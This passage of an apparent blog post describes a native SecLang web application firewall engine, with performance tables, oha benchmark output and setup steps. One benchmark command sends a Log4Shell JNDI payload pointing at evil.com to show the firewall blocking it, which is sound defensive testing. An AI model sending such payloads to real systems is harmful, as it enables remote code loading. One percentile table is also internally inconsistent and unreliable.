&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; transformResponse&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NgTransformerResponseContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Future&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Result&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;NgPluginHttpResponse&lt;/span&gt;&lt;span&gt;]] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    // Similar logic for response phases (3, 4, 5)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;performance-characteristics&quot;&gt;Performance Characteristics&lt;/h2&gt;
&lt;p&gt;After all optimizations, here’s how the native implementation compares to our previous WASM-based solution:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;WASM (Coraza)&lt;/th&gt;
&lt;th&gt;Native (seclang-engine)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Memory per config&lt;/td&gt;
&lt;td&gt;~20MB/instance&lt;/td&gt;
&lt;td&gt;~20KB/instance + ~2MB (shared CRS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrency model&lt;/td&gt;
&lt;td&gt;Multiple VMs needed&lt;/td&gt;
&lt;td&gt;One engine per request, Single instance config., thread-safe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rule sharing&lt;/td&gt;
&lt;td&gt;None (duplicated per VM)&lt;/td&gt;
&lt;td&gt;Full sharing via presets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Serialization overhead&lt;/td&gt;
&lt;td&gt;JVM ↔ WASM on every request&lt;/td&gt;
&lt;td&gt;Zero (native objects)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Startup time&lt;/td&gt;
&lt;td&gt;~1500ms per VM&lt;/td&gt;
&lt;td&gt;one shot ~800ms to parse/compile CRS + ~10ms per uncached config.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;And here are the raw performance numbers:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CRS evaluation on a legit request/response&lt;/td&gt;
&lt;td&gt;around 8ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRS evaluation on a suspicious request&lt;/td&gt;
&lt;td&gt;around 3ms for a Log4Shell attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Regex compilation&lt;/td&gt;
&lt;td&gt;Cached, zero-cost reuse&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Compared to our WASM-based setup, the native engine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;uses ~1000x less memory per configuration,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;removes serialization overhead,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;scales naturally with JVM threads,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;enables true multi-tenancy.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a typical test running on my early 2024 MacBook Pro (M3 Pro), using &lt;code&gt;oha&lt;/code&gt; with a legit request at 500 calls/sec over 1 minute:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;sh&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; oha&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; 500&lt;/span&gt;&lt;span&gt; -c&lt;/span&gt;&lt;span&gt; 200&lt;/span&gt;&lt;span&gt; -z&lt;/span&gt;&lt;span&gt; 1m&lt;/span&gt;&lt;span&gt; http://cawaf.oto.tools:9999&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &apos;apk: foo&apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Summary:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Success&lt;/span&gt;&lt;span&gt; rate:&lt;/span&gt;&lt;span&gt;	100.00%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total:&lt;/span&gt;&lt;span&gt;	60004.7775&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Slowest:&lt;/span&gt;&lt;span&gt;	26.1541&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Fastest:&lt;/span&gt;&lt;span&gt;	2.2883&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Average:&lt;/span&gt;&lt;span&gt;	2.9967&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Requests/sec:&lt;/span&gt;&lt;span&gt;	500.0102&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total&lt;/span&gt;&lt;span&gt; data:&lt;/span&gt;&lt;span&gt;	175.78&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/request:&lt;/span&gt;&lt;span&gt;	6&lt;/span&gt;&lt;span&gt; B&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/sec:&lt;/span&gt;&lt;span&gt;	2.93&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; histogram:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   2.288&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   4.675&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [28740] &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   7.061&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [961]   &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   9.448&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [221]   &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  11.835&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [41]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  14.221&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [17]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  16.608&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [9]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  18.994&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [2]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  21.381&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [3]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  23.768&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [3]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  26.154&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  10.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.4673&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  25.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.5795&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  50.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.7420&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  75.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.0413&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  90.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.6479&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  95.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.4046&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 7.0370&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.90%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 12.2985&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.99%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 23.6878&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Details&lt;/span&gt;&lt;span&gt; (average, &lt;/span&gt;&lt;span&gt;fastest,&lt;/span&gt;&lt;span&gt; slowest&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS+dialup:&lt;/span&gt;&lt;span&gt;	0.2206&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.1046&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 1.5284&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS-lookup:&lt;/span&gt;&lt;span&gt;	0.0247&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0045&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.4549&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt; code&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  [200] &lt;/span&gt;&lt;span&gt;29999&lt;/span&gt;&lt;span&gt; responses&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;now the same test with a Log4Shell attack request&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;sh&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; oha&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; 500&lt;/span&gt;&lt;span&gt; -c&lt;/span&gt;&lt;span&gt; 200&lt;/span&gt;&lt;span&gt; -z&lt;/span&gt;&lt;span&gt; 1m&lt;/span&gt;&lt;span&gt; http://cawaf.oto.tools:9999&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &apos;apk: ${jndi:ldap://evil.com/a}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Summary:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Success&lt;/span&gt;&lt;span&gt; rate:&lt;/span&gt;&lt;span&gt; 100.00%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total:&lt;/span&gt;&lt;span&gt;  60003.4310&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Slowest:&lt;/span&gt;&lt;span&gt;  43.2109&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Fastest:&lt;/span&gt;&lt;span&gt;  1.9636&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Average:&lt;/span&gt;&lt;span&gt;  9.6649&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Requests/sec:&lt;/span&gt;&lt;span&gt; 499.9881&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total&lt;/span&gt;&lt;span&gt; data:&lt;/span&gt;&lt;span&gt; 615.21&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/request:&lt;/span&gt;&lt;span&gt; 21&lt;/span&gt;&lt;span&gt; B&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/sec:&lt;/span&gt;&lt;span&gt; 10.25&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; histogram:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    1.964&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    4.508&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [28517] &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    8.213&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1303]  &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   13.338&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [37]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   17.463&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [73]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   21.587&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [41]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   26.712&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [25]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   30.837&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   34.961&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   39.086&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [0]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   43.211&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [2]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  10.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.2964&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  25.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.3817&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  50.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.5813&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  75.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.0106&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  90.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.5270&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  95.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.7680&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 6.6709&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.90%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 21.6669&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.99%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 25.4090&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Details&lt;/span&gt;&lt;span&gt; (average, &lt;/span&gt;&lt;span&gt;fastest,&lt;/span&gt;&lt;span&gt; slowest&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS+dialup:&lt;/span&gt;&lt;span&gt; 0.9616&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0578&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 4.4482&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS-lookup:&lt;/span&gt;&lt;span&gt; 0.0190&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0028&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 1.4588&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt; code&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  [400] &lt;/span&gt;&lt;span&gt;29999&lt;/span&gt;&lt;span&gt; responses&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Key optimizations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RegexPool&lt;/strong&gt;: Pre-compiled patterns cached by string key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Early exit&lt;/strong&gt;: Stop processing on first block disposition&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phase-organized rules&lt;/strong&gt;: Only load rules relevant to current phase&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Immutable programs&lt;/strong&gt;: Compiled once, shared safely across threads&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TrieMap for TX variables&lt;/strong&gt;: Thread-safe without locking&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;whats-not-implemented-yet&quot;&gt;What’s Not Implemented (Yet)&lt;/h2&gt;
&lt;p&gt;For transparency: not every SecLang feature made the cut. The missing pieces fall into three categories:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Legacy cruft&lt;/strong&gt;: Parity bit transformations (&lt;code&gt;parityEven7bit&lt;/code&gt;, etc.) from the modem era. No modern use case.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;External dependencies&lt;/strong&gt;: &lt;code&gt;@geoLookup&lt;/code&gt; (needs MaxMind DB), &lt;code&gt;@rbl&lt;/code&gt; (DNS lookups), &lt;code&gt;SESSION&lt;/code&gt; variables (needs session store). These add latency and complexity—better handled by dedicated infrastructure components. Otoroshi has its own GeoIP plugin anyway.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Domain-specific validation&lt;/strong&gt;: &lt;code&gt;@verifyCC&lt;/code&gt;, &lt;code&gt;@verifyCPF&lt;/code&gt;, &lt;code&gt;@verifySSN&lt;/code&gt; for credit cards and tax IDs. Not used by CRS, rarely needed in API security.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The 100% pass rate on CRS’s 4,138 tests proves that everything needed for real-world protection is there. And if you do need something custom, the &lt;code&gt;SecLangIntegration&lt;/code&gt; trait lets you hook in your own implementations without forking the engine.&lt;/p&gt;
&lt;h2 id=&quot;getting-started-with-seclang-engine&quot;&gt;Getting Started with seclang-engine&lt;/h2&gt;
&lt;p&gt;Want to try it yourself? Here’s a minimal example showing how to use the library in your Scala project.&lt;/p&gt;
&lt;p&gt;First, add the dependency to your &lt;code&gt;build.sbt&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;libraryDependencies &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &quot;com.cloud-apim&quot;&lt;/span&gt;&lt;span&gt; %%&lt;/span&gt;&lt;span&gt; &quot;seclang-engine&quot;&lt;/span&gt;&lt;span&gt; %&lt;/span&gt;&lt;span&gt; &quot;1.5.0&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, here’s a complete working example:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;model&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;scaladsl&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;SecLang&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;object&lt;/span&gt;&lt;span&gt; WafExample&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; App&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 1. Define your SecLang rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; rules&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
